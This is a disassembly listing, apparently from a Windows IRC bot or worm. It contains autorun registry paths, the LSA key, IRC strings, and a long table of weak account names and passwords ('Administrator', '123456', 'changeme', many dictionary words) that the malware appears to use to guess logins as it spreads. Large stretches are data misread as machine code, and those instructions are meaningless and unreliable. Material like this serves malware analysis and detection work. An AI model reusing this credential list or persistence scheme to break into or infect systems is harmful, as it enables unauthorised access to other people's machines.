byte_425BC0	db 54h			; CODE XREF: .nsp0:loc_409CCDp
					; DATA XREF: sub_4032B0+3Eo ...
		db 69h,	6Ch, 65h
		dd 2E737973h, 6D6F63h
dword_425BCC	dd 656C6954h, 2E737973h, 6C6C64hdword_425BD8	dd 69706F54h, 69542063h, 7973656Ch, 73hdword_425BE8	dd 2D495Ah, 656C6954h, 2E737973h, 6D6F63hdword_425BF8	dd 692B782Bh, 0	dword_425C00	dd 697A23h						; .nsp0:0040EA74o ...
dword_425C04	dd 737323h	dword_425C08	dd 737323h, 30303837h, 31h, 2 dup(6673h)off_425C1C	dd offset a@room	; DATA XREF: .nsp0:loc_40F870o
					; "*@room"
off_425C20	dd offset aMirc1_6_99	; DATA XREF: .nsp0:0040AB66r
					; .nsp0:0040F88Co
					; "mirc	1.6.99"
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41135F+28o
					; .nsp0:004116ABo
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41135F+D4o
					; .nsp0:00411757o
		align 4
		dd offset aAdministrator ; "Administrator"
; ---------------------------------------------------------------------------
		push	esp
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8+42h], al
		add	[ebx+ecx*8], dh
		inc	edx
		add	[eax], ch
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], ah
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], dl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], cl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
; ---------------------------------------------------------------------------
		fmul	st, st(2)
		inc	edx
		add	al, dl
		retf	42h
; ---------------------------------------------------------------------------
		enter	42CAh, 0
		mov	esp, 0B80042CAh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aOracle	; "oracle"
; ---------------------------------------------------------------------------
		lodsb
		retf	42h
; ---------------------------------------------------------------------------
		movsb
		retf	42h
; ---------------------------------------------------------------------------
		pushf
		retf	42h
; ---------------------------------------------------------------------------
		xchg	eax, esp
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aAdmin_1	; "admin!"
		dd offset aAdmin_0	; "$admin"
		dd offset aAdministrattor ; "Administrattor$"
; ---------------------------------------------------------------------------
		push	580042CAh
		retf	42h
; ---------------------------------------------------------------------------
		align 10h
		or	[edi], ah
		inc	ebx
		add	[eax-36h], cl
		inc	edx
		add	[ebx+ecx*8+42h], ah
		add	[ebx+ecx*8+42h], dl
		add	[eax-36h], al
		inc	edx
		add	[edx+ecx*8], bh
		inc	edx
		add	[edx+ecx*8], dh
		inc	edx
		add	[edx+ecx*8], ch
		inc	edx
		add	[eax], cl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[edx+ecx*8], ah
		inc	edx
		add	[eax], bl
		retf	42h
; ---------------------------------------------------------------------------
		adc	dl, cl
		inc	edx
		add	[eax], cl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_0	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
; ---------------------------------------------------------------------------
		cld
		enter	42h, 0F0h
		enter	42h, 0E4h
		enter	42h, 0DCh
		enter	42h, 0D4h
		enter	42h, 0BCh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
; ---------------------------------------------------------------------------
		mov	al, 0CAh
		inc	edx
		add	[eax+ecx*8-374BFFBEh], bh
		inc	edx
		add	ah, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_42C63C	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_42093C
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
; ---------------------------------------------------------------------------
		mov	esp, 0B40042C4h
		les	eax, [edx+0]
		lodsb
		les	eax, [edx+0]
		mov	al, ds:980042C4h
		les	eax, [edx+0]
		nop
		les	eax, [edx+0]
		test	al, ah
		inc	edx
		add	[esp+eax*8+42h], bh
		add	[esp+eax*8+42h], dh
		add	[esp+eax*8+42h], ch
		add	[esp+eax*8+42h], ah
		add	[eax-3Ch], bl
		inc	edx
		add	[eax-3Ch], dl
		inc	edx
		add	[eax-3Ch], cl
		inc	edx
		add	[eax-3Ch], al
		inc	edx
		add	[esp+eax*8], dh
		inc	edx
		add	[esp+eax*8], ch
		inc	edx
		add	[esp+eax*8], ah
		inc	edx
		add	[esp+eax*8], bl
		inc	edx
		add	[esp+eax*8], dl
		inc	edx
		add	[esp+eax*8], cl
		inc	edx
		add	[esp+eax*8], al
		inc	edx
		add	ah, bh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, dh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, ch
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, cl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, al
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-53FFBD3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+eax*8-3C63FFBEh], ah
		inc	edx
		add	[ebx+eax*8-3C73FFBEh], dl
		inc	edx
		add	[ebx+eax*8-3C83FFBEh], al
		inc	edx
		add	[ebx+eax*8+42h], dh
		add	[ebx+eax*8+42h], ch
		add	[ebx+eax*8+42h], ah
		add	[ebx+eax*8+42h], bl
		add	[ebx+eax*8+42h], dl
		add	[eax-3Dh], cl
		inc	edx
		add	[eax-3Dh], al
		inc	edx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+eax*8], ch
		inc	edx
		add	[ebx+eax*8], ah
		inc	edx
		add	[ebx+eax*8], bl
		inc	edx
		add	[ebx+eax*8], dl
		inc	edx
		add	[ebx+eax*8], cl
		inc	edx
		add	[ebx+eax*8], al
		inc	edx
		add	al, bh
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
; ---------------------------------------------------------------------------
		fadd	st, st(2)
		inc	edx
		add	al, dl
		retn	42h
; ---------------------------------------------------------------------------
		enter	42C2h, 0
		rol	dl, 42h
		add	[eax-4FFFBD3Eh], bh
		retn	42h
; ---------------------------------------------------------------------------
		test	al, 0C2h
		inc	edx
		add	[eax-67FFBD3Eh], ah
		retn	42h
; ---------------------------------------------------------------------------
		mov	edx, es
		inc	edx
		add	[edx+eax*8-3D83FFBEh], al
		inc	edx
		add	[eax-3Eh], dh
		inc	edx
		add	[eax-3Eh], ch
		inc	edx
		add	[eax-3Eh], ah
		inc	edx
		add	[eax-3Eh], bl
		inc	edx
		add	[eax-3Eh], dl
		inc	edx
		add	[eax-3Eh], cl
		inc	edx
		add	[eax-3Eh], al
		inc	edx
		add	[edx+eax*8], dh
		inc	edx
		add	[edx+eax*8], ch
		inc	edx
		add	[edx+eax*8], ah
		inc	edx
		add	[edx+eax*8], bl
		inc	edx
		add	[edx+eax*8], dl
		inc	edx
		add	[edx+eax*8], cl
		inc	edx
		add	[edx+eax*8], al
		inc	edx
		add	al, bh
		rol	dword ptr [edx+0], 0F0h
		rol	dword ptr [edx+0], 0E8h
		rol	dword ptr [edx+0], 0E0h
		rol	dword ptr [edx+0], 0D8h
		rol	dword ptr [edx+0], 0D0h
		rol	dword ptr [edx+0], 0C8h
		rol	dword ptr [edx+0], 0BCh
		rol	dword ptr [edx+0], 0B4h
		rol	dword ptr [edx+0], 0A8h
		rol	dword ptr [edx+0], 0A0h
		rol	dword ptr [edx+0], 98h
		rol	dword ptr [edx+0], 90h
		rol	dword ptr [edx+0], 88h
		rol	dword ptr [edx+0], 80h
		rol	dword ptr [edx+0], 78h
		rol	dword ptr [edx+0], 70h
		rol	dword ptr [edx+0], 64h
		rol	dword ptr [edx+0], 5Ch
		rol	dword ptr [edx+0], 54h
		rol	dword ptr [edx+0], 4Ch
		rol	dword ptr [edx+0], 44h
		rol	dword ptr [edx+0], 3Ch
		rol	dword ptr [edx+0], 34h
		rol	dword ptr [edx+0], 2Ch
		rol	dword ptr [edx+0], 24h
		rol	dword ptr [edx+0], 1Ch
		rol	dword ptr [edx+0], 14h
		rol	dword ptr [edx+0], 0Ch
		rol	dword ptr [edx+0], 4
		rol	dword ptr [edx+0], 0FCh
		rol	byte ptr [edx+0], 0F0h
		rol	byte ptr [edx+0], 0E8h
		rol	byte ptr [edx+0], 0E0h
		rol	byte ptr [edx+0], 0D8h
		rol	byte ptr [edx+0], 0D0h
		rol	byte ptr [edx+0], 0C8h
		rol	byte ptr [edx+0], 0C0h
		rol	byte ptr [edx+0], 0B8h
		rol	byte ptr [edx+0], 0B0h
		rol	byte ptr [edx+0], 0A8h
		rol	byte ptr [edx+0], 0A0h
		rol	byte ptr [edx+0], 98h
		rol	byte ptr [edx+0], 8Ch
		rol	byte ptr [edx+0], 84h
		rol	byte ptr [edx+0], 7Ch
		rol	byte ptr [edx+0], 74h
		rol	byte ptr [edx+0], 6Ch
		rol	byte ptr [edx+0], 64h
		rol	byte ptr [edx+0], 5Ch
		rol	byte ptr [edx+0], 54h
		rol	byte ptr [edx+0], 4Ch
		rol	byte ptr [edx+0], 44h
		rol	byte ptr [edx+0], 38h
		rol	byte ptr [edx+0], 30h
		rol	byte ptr [edx+0], 24h
		rol	byte ptr [edx+0], 1Ch
		rol	byte ptr [edx+0], 10h
		rol	byte ptr [edx+0], 8
		rol	byte ptr [edx+0], 0FCh
		mov	edi, 0BFF00042h
		inc	edx
		add	al, ch
		mov	edi, 0BFE00042h
		inc	edx
		add	al, bl
		mov	edi, 0BFD00042h
		inc	edx
		add	al, cl
		mov	edi, 0BFBC0042h
		inc	edx
		add	[eax-57FFBD41h], dh
		mov	edi, 0BF9C0042h
		inc	edx
		add	[edi+edi*4-4073FFBEh], dl
		inc	edx
		add	[edi+edi*4-4083FFBEh], al
		inc	edx
		add	[edi+edi*4+42h], dh
		add	[edi+edi*4+42h], ch
		add	[edi+edi*4+42h], ah
		add	[eax-41h], bl
		inc	edx
		add	[eax-41h], dl
		inc	edx
		add	[eax-41h], cl
		inc	edx
		add	[eax-41h], al
		inc	edx
		add	[eax], bh
		mov	edi, 0BF300042h
		inc	edx
		add	[edi+edi*4], ah
		inc	edx
		add	[eax], bl
		mov	edi, 0BF100042h
		inc	edx
		add	[eax], cl
		mov	edi, 0BEFC0042h
		inc	edx
		add	ah, dh
		mov	esi, 0BEEC0042h
		inc	edx
		add	al, ah
		mov	esi, 0BED40042h
		inc	edx
		add	ah, cl
		mov	esi, 0BEC40042h
		inc	edx
		add	[esi+edi*4-414BFFBEh], bh
		inc	edx
		add	[esi+edi*4-415BFFBEh], ch
		inc	edx
		add	[esi+edi*4-416FFFBEh], bl
		inc	edx
		add	[eax-7FFFBD42h], cl
		mov	esi, 0BE780042h
		inc	edx
		add	[eax-42h], dh
		inc	edx
		add	[esi+edi*4+42h], ah
		add	[esi+edi*4+42h], bl
		add	[esi+edi*4+42h], dl
		add	[esi+edi*4+42h], cl
		add	[eax-42h], al
		inc	edx
		add	[eax], bh
		mov	esi, 0BE300042h
		inc	edx
		add	[eax], ch
		mov	esi, 0BE200042h
		inc	edx
		add	[esi+edi*4], dl
		inc	edx
		add	[esi+edi*4], cl
		inc	edx
		add	[esi+edi*4], al
		inc	edx
		add	al, bh
		mov	ebp, 0BDF00042h
		inc	edx
		add	al, ch
		mov	ebp, 0BDE00042h
		inc	edx
		add	al, bl
		mov	ebp, 0BDD00042h
		inc	edx
		add	ah, al
		mov	ebp, 0BDB80042h
		inc	edx
		add	[eax-57FFBD43h], dh
		mov	ebp, 0BD9C0042h
		inc	edx
		add	[ebp+edi*4-4277FFBEh], dl
		inc	edx
		add	[ebp+edi*4+42h], bh
		add	[ebp+edi*4+42h], dh
		add	[ebp+edi*4+42h], ch
		add	[eax-43h], ah
		inc	edx
		add	[ebp+edi*4+42h], dl
		add	[ebp+edi*4+42h], cl
		add	[ebp+edi*4+42h], al
		add	ds:0BD340042h[edi*4], bh
		inc	edx
		add	ds:0BD240042h[edi*4], ch
		inc	edx
		add	ds:0BD140042h[edi*4], bl
		inc	edx
		add	ds:0BD040042h[edi*4], cl
		inc	edx
		add	al, bh
		mov	esp, 0BCF00042h
		inc	edx
		add	ah, ah
		mov	esp, 0BCDC0042h
		inc	edx
		add	al, dl
		mov	esp, 0BCC80042h
		inc	edx
		add	al, al
		mov	esp, 34380042h
		inc	edx
		add	[eax-53FFBD44h], bh
		mov	esp, 0BCA40042h
		inc	edx
		add	[eax-6FFFBD44h], bl
		mov	esp, 0BC840042h
		inc	edx
		add	[esp+edi*4+42h], bh
		add	[esp+edi*4+42h], dh
		add	[esp+edi*4+42h], ch
		add	[esp+edi*4+42h], ah
		add	[esp+edi*4+42h], bl
		add	[esp+edi*4+42h], dl
		add	[eax-44h], cl
		inc	edx
		add	[eax-44h], al
		inc	edx
		add	[esp+edi*4], dh
		inc	edx
		add	[esp+edi*4], ch
		inc	edx
		add	[eax], ah
		mov	esp, 0BC180042h
		inc	edx
		add	[eax], dl
		mov	esp, 0BC040042h
		inc	edx
		add	ah, bh
		mov	ebx, 0BBF40042h
		inc	edx
		add	al, ch
		mov	ebx, 0BBDC0042h
		inc	edx
		add	ah, dl
		mov	ebx, 0BBC80042h
		inc	edx
		add	al, al
		mov	ebx, 0BBB80042h
		inc	edx
		add	[ebx+edi*4-445FFFBEh], ch
		inc	edx
		add	[eax-6FFFBD45h], bl
		mov	ebx, 0BB880042h
		inc	edx
		add	[ebx+edi*4+42h], bh
		add	[ebx+edi*4+42h], dh
		add	[eax-45h], ch
		inc	edx
		add	[ebx+edi*4+42h], bl
		add	[ebx+edi*4+42h], dl
		add	[ebx+edi*4+42h], cl
		add	[ebx+edi*4+42h], al
		add	[ebx+edi*4], bh
		inc	edx
		add	[ebx+edi*4], dh
		inc	edx
		add	[ebx+edi*4], ch
		inc	edx
		add	[eax], ah
		mov	ebx, 0BB180042h
		inc	edx
		add	[eax], dl
		mov	ebx, 0BB080042h
		inc	edx
		add	ah, bh
		mov	edx, 0BAF40042h
		inc	edx
		add	ah, ch
		mov	edx, 0BAE40042h
		inc	edx
		add	ah, bl
		mov	edx, 0BAD00042h
		inc	edx
		add	al, cl
		mov	edx, 0BAC00042h
		inc	edx
		add	[eax-53FFBD46h], bh
		mov	edx, 0BAA40042h
		inc	edx
		add	al, cl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aDefault	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
